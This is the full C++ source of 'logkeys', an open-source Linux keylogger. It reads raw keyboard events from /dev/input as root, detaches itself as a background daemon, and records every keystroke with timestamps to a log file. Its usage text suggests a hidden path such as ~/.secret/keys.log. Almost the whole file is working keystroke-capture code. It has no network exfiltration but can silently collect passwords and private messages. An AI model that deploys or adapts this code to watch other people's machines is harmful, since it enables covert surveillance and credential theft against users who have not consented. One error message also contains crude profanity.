logkeys/src/logkeys.cc

594 lines
24 KiB
C++

/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#include <cstdio>
#include <cerrno>
#include <cstring>
#include <sstream>
#include <cstdlib>
#include <csignal>
#include <unistd.h>
#include <getopt.h>
#include <sys/file.h>
#include <linux/input.h>
#include <config.h> // config produced from ./configure
#define DEFAULT_LOG_FILE "/var/log/logkeys.log"
#define TMP_PID_FILE "/tmp/logkeys.pid.lock"
#ifdef INPUT_EVENT_PREFIX // may be defined by ./configure --enable-evdev-path=PATH
# define INPUT_EVENT_PATH (INPUT_EVENT_PREFIX "/event") // in which case use it
#else
# define INPUT_EVENT_PATH "/dev/input/event" // otherwise use the default; a number is appended at runtime; one accesses keyboard e.g. via /dev/input/event1
#endif//INPUT_EVENT_PREFIX
#ifndef INPUT_EVENT_DEVICE
//# define INPUT_EVENT_DEVICE "/dev/input/event4" // uncomment this if you want your input event device statically defined rather than "calculated" at runtime
// better yet, use ./configure --enable-evdev=DEV to specify INPUT_EVENT_DEVICE !
#endif//INPUT_EVENT_DEVICE
void usage() {
fprintf(stderr,
"Usage: logkeys [OPTION]...\n"
"Log depressed keyboard keys.\n"
"\n"
" -s, --start start logging keypresses\n"
" -m, --keymap=FILE use keymap FILE\n"
" -o, --output=FILE log output to FILE [" DEFAULT_LOG_FILE "]\n"
" -u, --us-keymap use en_US keymap instead of configured default\n"
" -k, --kill kill running logkeys process\n"
" -?, --help print this help\n"
" --export-keymap=FILE export configured keymap to FILE and exit\n"
" --no-func-keys don't log function keys, only character keys\n"
"\n"
"Examples: logkeys -s -m mylang.map -o ~/.secret/keys.log\n"
" logkeys -k\n"
"\n"
"logkeys version: " PACKAGE_VERSION "\n"
"logkeys homepage: <http://code.google.com/p/logkeys/>\n"
);
}
// executes cmd and returns string ouput or "ERR" on pipe error
std::string exec(const char* cmd) {
FILE* pipe = popen(cmd, "r");
if (!pipe) return "ERR";
char buffer[128];
std::string result = "";
while(!feof(pipe)) {
if(fgets(buffer, 128, pipe) != NULL)
result += buffer;
}
pclose(pipe);
return result;
}
bool flag_kill = false; // kill any running logkeys process
void signal_handler(int interrupt) {
flag_kill = true;
}
// translates character keycodes to continuous array indices
inline int to_char_array_index(int keycode) {
if (keycode >= KEY_1 && keycode <= KEY_EQUAL) // keycodes 2-13: US keyboard: 1, 2, ..., 0, -, =
return keycode - 2;
if (keycode >= KEY_Q && keycode <= KEY_RIGHTBRACE) // keycodes 16-27: q, w, ..., [, ]
return keycode - 4;
if (keycode >= KEY_A && keycode <= KEY_GRAVE) // keycodes 30-41: a, s, ..., ', `
return keycode - 6;
if (keycode >= KEY_BACKSLASH && keycode <= KEY_SLASH) // keycodes 43-53: \, z, ..., ., /
return keycode - 7;
if (keycode == KEY_102ND) return 47;
return -1; // not character keycode
}
// translates function keys keycodes to continuous array indices
inline int to_func_array_index(int keycode) {
if (keycode == KEY_ESC) // 1
return 0;
if (keycode >= KEY_BACKSPACE && keycode <= KEY_TAB) // 14-15
return keycode - 13;
if (keycode >= KEY_ENTER && keycode <= KEY_LEFTCTRL) // 28-29
return keycode - 25;
if (keycode == KEY_LEFTSHIFT) return keycode - 37; // 42
if (keycode >= KEY_RIGHTSHIFT && keycode <= KEY_KPDOT) // 54-83
return keycode - 48;
if (keycode >= KEY_F11 && keycode <= KEY_F12) // 87-88
return keycode - 51;
if (keycode >= KEY_KPENTER && keycode <= KEY_DELETE) // 96-111
return keycode - 58;
if (keycode == KEY_PAUSE) // 119
return keycode - 65;
if (keycode >= KEY_LEFTMETA && keycode <= KEY_COMPOSE) // 125-127
return keycode - 70;
return -1; // not function key keycode
}
int main(int argc, char **argv) {
char func_keytable[][8] = {
"<Esc>", "<BckSp>", "<Tab>", "<Enter>", "<LCtrl>", "<LShft>", "<RShft>", "<KP*>", "<LAlt>", " ", "<CpsLk>", "<F1>", "<F2>", "<F3>", "<F4>", "<F5>",
"<F6>", "<F7>", "<F8>", "<F9>", "<F10>", "<NumLk>", "<ScrLk>", "<KP7>", "<KP8>", "<KP9>", "<KP->", "<KP4>", "<KP5>", "<KP6>", "<KP+>", "<KP1>",
"<KP2>", "<KP3>", "<KP0>", "<KP.>", /*"<",*/ "<F11>", "<F12>", "<KPEnt>", "<RCtrl>", "<KP/>", "<PrtSc>", "<AltGr>", "<Break>" /*linefeed?*/, "<Home>", "<Up>", "<PgUp>",
"<Left>", "<Right>", "<End>", "<Down>", "<PgDn>", "<Ins>", "<Del>", "<Pause>", "<LMeta>", "<RMeta>", "<Menu>"
};
wchar_t char_keytable[49] = L"1234567890-=qwertyuiop[]asdfghjkl;'`\\zxcvbnm,./<";
wchar_t shift_keytable[49] = L"!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:\"~|ZXCVBNM<>?>";
wchar_t altgr_keytable[49] = L"\0@\0$\0\0{[]}\\\0qwertyuiop\0~asdfghjkl\0\0\0\0zxcvbnm\0\0\0|"; // \0 on no symbol; as obtained by `loadkeys us`
const char char_or_func[] = // c means character key, f means function key, _ is blank/error (_ used, don't change); all according to KEY_* defines from <linux/input.h>
"_fccccccccccccff"
"ccccccccccccffcc"
"ccccccccccfccccc"
"ccccccffffffffff"
"ffffffffffffffff"
"ffff__cff_______"
"ffffffffffffffff"
"_______f_____fff";
if (geteuid()) { fprintf(stderr, "Got r00t?\n"); return EXIT_FAILURE; }
if (argc < 2) { usage(); return EXIT_FAILURE; }
bool flag_start = false; // start logger
// bool flag_kill; is defined global for signal_handler to access it
bool flag_us_keymap = false; // use default us keymap if dynamic keymap unavailable
bool flag_keymap = false; // use keymap specified by keymap_filename
int flag_export = 0; // export dynamically created keymap
int flag_nofunc = 0; // only log character keys (e.g. 'c', '2', 'O', etc.) and don't log function keys (e.g. <LShift>, etc.)
char *log_filename = (char*) DEFAULT_LOG_FILE; // default log file
char log_file_path[512]; // don't use paths longer than 512 B !!
char *keymap_filename = NULL; // path to keymap file to be used
{ // process options and arguments
struct option long_options[] = {
{"start", no_argument, 0, 's'},
{"keymap", required_argument, 0, 'm'},
{"output", required_argument, 0, 'o'},
{"us-keymap", no_argument, 0, 'u'},
{"kill", no_argument, 0, 'k'},
{"help", no_argument, 0, '?'},
#define EXPORT_KEYMAP_INDEX 6
{"export-keymap", required_argument, &flag_export, 1}, // option_index is 6
{"no-func-keys", no_argument, &flag_nofunc, 1},
{0, 0, 0, 0}
};
char c;
int option_index;
while ((c = getopt_long(argc, argv, "sm:o:uk?", long_options, &option_index)) != -1)
switch (c) {
case 's': flag_start = true; break;
case 'm': flag_keymap = true; keymap_filename = optarg; break;
case 'o': log_filename = optarg; break;
case 'u': flag_us_keymap = true; break;
case 'k': flag_kill = true; break;
case 0 :
if (option_index == EXPORT_KEYMAP_INDEX)
keymap_filename = optarg;
break; // + flag_export or flag_nofunc already set
case '?': usage(); return EXIT_SUCCESS;
default : usage(); return EXIT_FAILURE;
}
while(optind < argc)
fprintf(stderr, "%s: Non-option argument %s\n", argv[0], argv[optind++]);
} //\ arguments
// kill existing logkeys process
if (flag_kill) {
FILE *temp_file = fopen(TMP_PID_FILE, "r");
pid_t pid;
if ((temp_file != NULL && fscanf(temp_file, "%d", &pid) == 1 && fclose(temp_file) == 0) ||
(sscanf( exec("pgrep logkeys").c_str(), "%d", &pid) == 1 && pid != getpid())) { // if reading PID from temp_file failed, try pgrep pipe
remove(TMP_PID_FILE);
kill(pid, SIGINT);
return EXIT_SUCCESS;
}
fprintf(stderr, "%s: No process killed.\n", argv[0]);
return EXIT_FAILURE;
} else if (!flag_start && !flag_export) { usage(); return EXIT_FAILURE; }
// check for incompatible flags
if (flag_keymap && flag_us_keymap) {
fprintf(stderr, "%s: Incompatible flags '-m' and '-u'", argv[0]);
usage();
return EXIT_FAILURE;
}
// if user provided a relative path to output file :/ stupid user :/
if (log_filename[0] != '/') {
if (getcwd(log_file_path, sizeof(log_file_path) - strlen(log_filename) - 2 /* '/' and '\0' */) == NULL) {
fprintf(stderr, "%s: Error copying CWD: %s%s\n", argv[0], strerror(errno),
(errno == ERANGE ? " (CWD path too long, GO FUCK YOURSELF!!)" : ""));
return EXIT_FAILURE;
}
strcat(log_file_path, "/");
strncat(log_file_path, log_filename, sizeof(log_file_path) - strlen(log_file_path));
log_filename = log_file_path;
}
// set locale to common UTF-8 for wchars to be recognized correctly
if(setlocale(LC_CTYPE, "en_US.UTF-8") == NULL) // if en_US.UTF-8 isn't available
setlocale(LC_CTYPE, ""); // try the locale that corresponds to the value of the associated environment variables, LC_CTYPE and LANG
// else just leave the burden of possible Fail to the user, without any warning :D
// read keymap from file
if (flag_start && flag_keymap && !flag_export) {
// custom map will be used; erase existing US keymapping
memset(char_keytable, '\0', sizeof(char_keytable));
memset(shift_keytable, '\0', sizeof(shift_keytable));
memset(altgr_keytable, '\0', sizeof(altgr_keytable));
stdin = freopen(keymap_filename, "r", stdin);
unsigned int i = 0;
unsigned int line_number = 0;
int index;
char func_string[32];
char line[32];
while (!feof(stdin)) {
if (i >= sizeof(char_or_func)) break; // only read up to 128 keycode bindings (currently 105:)
if (char_or_func[i] != '_') {
if(fgets(line, sizeof(line), stdin)); // wrapped in if() to avoid compiler warning; handle errors later
++line_number;
}
if (char_or_func[i] == 'c') {
index = to_char_array_index(i);
if (sscanf(line, "%lc %lc %lc\n", &char_keytable[index], &shift_keytable[index], &altgr_keytable[index]) < 2) {
fprintf(stderr, "%s: Error parsing keymap '%s' on line %d: %s\n", argv[0], keymap_filename, line_number, line);
return EXIT_FAILURE;
}
}
if (char_or_func[i] == 'f') {
if (i != KEY_SPACE) { // space causes empty string and trouble
if (sscanf(line, "%s\n", &func_string[0]) != 1 || strlen(func_string) > 7) {
fprintf(stderr, "%s: Error parsing keymap '%s' on line %d: %s\n", argv[0], keymap_filename, line_number, line);
return EXIT_FAILURE;
}
strcpy(func_keytable[to_func_array_index(i)], func_string);
}
}
++i;
} //\ while (!feof(stdin))
fclose(stdin);
// get keymap used by the system and optionally export it to file
} else if ((flag_start && !flag_us_keymap) || flag_export) {
// custom map will be used; erase existing US keymapping
memset(char_keytable, '\0', sizeof(char_keytable));
memset(shift_keytable, '\0', sizeof(shift_keytable));
memset(altgr_keytable, '\0', sizeof(altgr_keytable));
// get keymap from dumpkeys
// if one knows of a better, more portable way to get wchar_t-s from symbolic keysym-s from `dumpkeys` or `xmodmap` or another, PLEASE LET ME KNOW! kthx
std::stringstream ss, dump(exec("dumpkeys -n | grep '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'")); // see example output after i.e. `loadkeys slovene`
// above was "dumpkeys -n | grep -P '^keycode|^\tshift\tkeycode|^\taltgr\tkeycode'", but grep is more portable without -P switch
std::string line;
unsigned int keycode = 0; // keycode
int index;
int utf8code; // utf-8 code of keysym answering keycode
while (std::getline(dump, line)) {
ss.clear();
ss.str("");
utf8code = 0;
// replace any U+#### with 0x#### for easier parsing
index = line.find("U+", 0);
while ((unsigned int) index != std::string::npos) {
line[index] = '0'; line[index + 1] = 'x';
index = line.find("U+", index);
}
// if line starts with 'keycode'
if (line[0] == 'k') {
++keycode;
if (keycode >= sizeof(char_or_func)) break; // only ever map keycodes up to 128
if (char_or_func[keycode] == 'c') {
index = to_char_array_index(keycode); // only map character keys of keyboard
ss << &line[14]; // 1st keysym starts at index 14 (skip "keycode XXX = ")
ss >> std::hex >> utf8code;
// 0XB00CLUELESS: 0xb00 is added to some keysyms that are preceeded with '+'; i don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly?
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
char_keytable[index] = static_cast<wchar_t>(utf8code);
// if there is a second keysym column, assume it is a shift column
if (ss >> std::hex >> utf8code) {
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
shift_keytable[index] = static_cast<wchar_t>(utf8code);
}
// if there is a third keysym column, assume it is an altgr column
if (ss >> std::hex >> utf8code) {
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
//utf8code = utf8code & 0xFF00 ? 0 : utf8code; // commented: just use w/e value we get
altgr_keytable[index] = static_cast<wchar_t>(utf8code);
}
} //\ if (char_or_func[keycode] == 'c')
continue;
} //\ if (line[0] == 'k')
index = to_char_array_index(keycode);
// if line starts with 'shift keycode'
if (char_or_func[keycode] == 'c' && line[1] == 's') {
ss << &line[21]; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = ")
ss >> std::hex >> utf8code;
if (line[21] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; // see line 0XB00CLUELESS
shift_keytable[index] = static_cast<wchar_t>(utf8code);
}
// if line starts with 'altgr keycode'
if (char_or_func[keycode] == 'c' && line[1] == 'a') {
ss << &line[21]; // 1st keysym starts at index 21 (skip "\taltgr\tkeycode XXX = ")
ss >> std::hex >> utf8code;
if (line[21] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; // see line 0XB00CLUELESS
//utf8code = utf8code & 0xFF00 ? 0 : utf8code; // commented: just use w/e value we get
altgr_keytable[index] = static_cast<wchar_t>(utf8code);
}
} //\ while (getline(dump, line))
// export keymap to file as requested
if (flag_export) {
stdout = freopen(keymap_filename, "w", stdout);
if (stdout == NULL) {
fprintf(stderr, "%s: Error opening keymap output file '%s': %s\n", argv[0], keymap_filename, strerror(errno));
return EXIT_FAILURE;
}
for (unsigned int i = 0; i < sizeof(char_or_func); ++i) {
if (char_or_func[i] == 'c') {
index = to_char_array_index(i);
fprintf(stdout, "%lc %lc", char_keytable[index], shift_keytable[index]);
if (altgr_keytable[index] != L'\0')
fprintf(stdout, " %lc\n", altgr_keytable[index]);
else fprintf(stdout, "\n");
} else if (char_or_func[i] == 'f') {
fprintf(stdout, "%s\n", func_keytable[to_func_array_index(i)]);
}
}
fprintf(stderr, "%s: Written keymap to file '%s'\n", argv[0], keymap_filename);
fclose(stdout);
return EXIT_SUCCESS;
} //\ if (flag_export)
}
// TODO: debian ne podpira setlocale en_US.UTF-8? tudi s praznim setlocale(""), ne dela prav :?
#ifndef INPUT_EVENT_DEVICE // sometimes X in /dev/input/eventX is different from one reboot to another
// extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.)
std::string output = exec("grep Name /proc/bus/input/devices | grep -nE '[Kk]eyboard|kbd'");
if (output == "ERR") { // if pipe errors, exit
fprintf(stderr, "%s: Cannot determine keyboard input event device: %s\n", argv[0], strerror(errno));
return EXIT_FAILURE;
}
// the correct input event # is (output - 1)
std::stringstream input_fd_filename;
input_fd_filename << INPUT_EVENT_PATH;
input_fd_filename << (atoi(output.c_str()) - 1);
const char *INPUT_EVENT_DEVICE = input_fd_filename.str().c_str();
#endif//INPUT_EVENT_DEVICE
{ // catch SIGHUP, SIGINT and SIGTERM signals to exit gracefully
struct sigaction act = {};
act.sa_handler = signal_handler;
sigaction(SIGHUP, &act, NULL);
sigaction(SIGINT, &act, NULL);
sigaction(SIGTERM, &act, NULL);
} //\ signals
{ // everything went well up to now, let's become daemon
switch (fork()) {
case 0: break; // child continues
case -1: // error
fprintf(stderr, "%s: Error creating child process: %s\n", argv[0], strerror(errno));
return EXIT_FAILURE;
default: return EXIT_SUCCESS; // parent exits
}
setsid();
if(chdir("/")); // wrapped in if() to avoid compiler warning
switch (fork()) {
case 0: break; // second child continues
case -1:
fprintf(stderr, "%s: Error creating second child process: %s\n", argv[0], strerror(errno));
return EXIT_FAILURE;
default: return EXIT_SUCCESS; // parent exits
}
close(0); // drop stdin
} //\ daemon
// create temp file carrying PID for later retrieval
int temp_fd;
if ((temp_fd = open(TMP_PID_FILE, O_WRONLY | O_CREAT, 0600)) == -1) {
fprintf(stderr, "%s: Error opening temporary file '" TMP_PID_FILE "': %s\n", argv[0], strerror(errno));
return EXIT_FAILURE;
}
if (flock(temp_fd, LOCK_EX | LOCK_NB) == 0) { // this is the first process to request temp file, now block all others
if (flock(temp_fd, LOCK_SH | LOCK_NB) == -1) {
fprintf(stderr, "%s: Error obtaining lock on temporary file '" TMP_PID_FILE "': %s\n", argv[0], strerror(errno));
return EXIT_FAILURE;
}
char pid_str[16] = {0};
sprintf(pid_str, "%d", getpid());
if (write(temp_fd, pid_str, strlen(pid_str)) == -1) {
fprintf(stderr, "%s: Error writing to temporary file '" TMP_PID_FILE "': %s\n", argv[0], strerror(errno));
}
} else { // another logkeys process is already running, therefore terminate this one
fprintf(stderr, "%s: Another process already running. Quitting.\n", argv[0]);
return EXIT_FAILURE;
} //\ temp file
// open input device for reading
int input_fd = open(INPUT_EVENT_DEVICE, O_RDONLY | O_NONBLOCK);
if (input_fd == -1) {
fprintf(stderr, "%s: Error opening input event device '%s': %s\n", argv[0], INPUT_EVENT_DEVICE, strerror(errno));
return EXIT_FAILURE;
}
// open log file as stdout (if file doesn't exist, create it with safe 0600 permissions)
umask(0177);
stdout = freopen(log_filename, "a", stdout);
if (stdout == NULL) {
fprintf(stderr, "%s: Error opening output file '%s': %s\n", argv[0], log_filename, strerror(errno));
return EXIT_FAILURE;
}
// we've got everything we need, now drop privileges by becoming 'nobody'
setgid(65534); setuid(65534);
unsigned int scan_code, prev_code = 0; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see <linux/input.h>)
struct input_event event;
char timestamp[32]; // timestamp string, long enough to hold "\n%F %T%z > "
char repeat[16]; // holds "key repeated" string of the format "<x%d>"
bool shift_in_effect = false;
bool altgr_in_effect = false;
int count_repeats = 0; // count_repeats differs from the actual number of repeated characters!! only OS knows how these two values are related (by respecting configured repeat speed and delay)
time_t cur_time;
time(&cur_time);
strftime(timestamp, sizeof(timestamp), "\n%F %T%z > ", localtime(&cur_time));
fprintf(stdout, "Logging started ...\n%s", timestamp);
fflush(stdout);
while (true) { // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM
if (flag_kill) break; // if process received kill signal, end it
// these event.value-s aren't defined in <linux/input.h> ?
#define EV_MAKE 1 // when key pressed
#define EV_BREAK 0 // when key released
#define EV_REPEAT 2 // when key switches to repeating after short delay
while (read(input_fd, &event, sizeof(struct input_event)) > 0) {
if (event.type == EV_KEY) { // keyboard events always of type EV_KEY
scan_code = event.code;
if (scan_code >= sizeof(char_or_func)) { // keycode out of range, log error
fprintf(stdout, "<E-%x>", scan_code);
continue;
}
// on key repeat ; must be before on key press
if (event.value == EV_REPEAT) {
++count_repeats;
} else if (count_repeats) {
if (prev_code == KEY_RIGHTSHIFT || prev_code == KEY_LEFTCTRL ||
prev_code == KEY_RIGHTALT || prev_code == KEY_LEFTALT ||
prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL); // do nothing if the cause of repetition are these function keys
else {
if (flag_nofunc && char_or_func[prev_code] == 'f'); // if repeated was function key, and if we don't log function keys, then don't log repeat either
else {
sprintf(repeat, "<#+%d>", count_repeats); // else print some dubious note of repetition
fprintf(stdout, "%s", repeat);
}
}
count_repeats = 0;
}
// on key press
if (event.value == EV_MAKE) {
// on ENTER key append timestamp
if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER) { // create new timestamp on ENTER
strftime(timestamp, sizeof(timestamp), "\n%F %T%z > ", localtime(&event.time.tv_sec));
fprintf (stdout, "%s", timestamp);
continue; // don't log "<Enter>"
}
if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT)
shift_in_effect = true;
if (scan_code == KEY_RIGHTALT)
altgr_in_effect = true;
// print character or string responding to received keycode
if (char_or_func[scan_code] == 'c') {
if (altgr_in_effect) {
wchar_t wch = altgr_keytable[to_char_array_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
else fprintf(stdout, "%lc", char_keytable[to_char_array_index(scan_code)]);
} else if (shift_in_effect)
fprintf(stdout, "%lc", shift_keytable[to_char_array_index(scan_code)]);
else
fprintf(stdout, "%lc", char_keytable[to_char_array_index(scan_code)]);
} else if (char_or_func[scan_code] == 'f') {
if (!flag_nofunc) { // don't log function keys if --no-func-keys requested
fprintf(stdout, "%s", func_keytable[to_func_array_index(scan_code)]);
} else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) {
// but always log a single space for Space and Tab keys
fprintf(stdout, " ");
}
} else fprintf(stdout, "<E-%x>", scan_code); // keycode is neither of character nor function, log error
}
// on key release
if (event.value == EV_BREAK) {
if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT)
shift_in_effect = false;
if (scan_code == KEY_RIGHTALT)
altgr_in_effect = false;
}
prev_code = scan_code;
}
}
fflush(stdout);
sleep(1);
} //\ while (true)
// append final timestamp, close files and exit
time(&cur_time);
strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time));
fprintf(stdout, "\n\nLogging stopped at %s\n\n", timestamp);
fclose(stdout);
close(input_fd);
close(temp_fd);
remove(TMP_PID_FILE);
return EXIT_SUCCESS;
}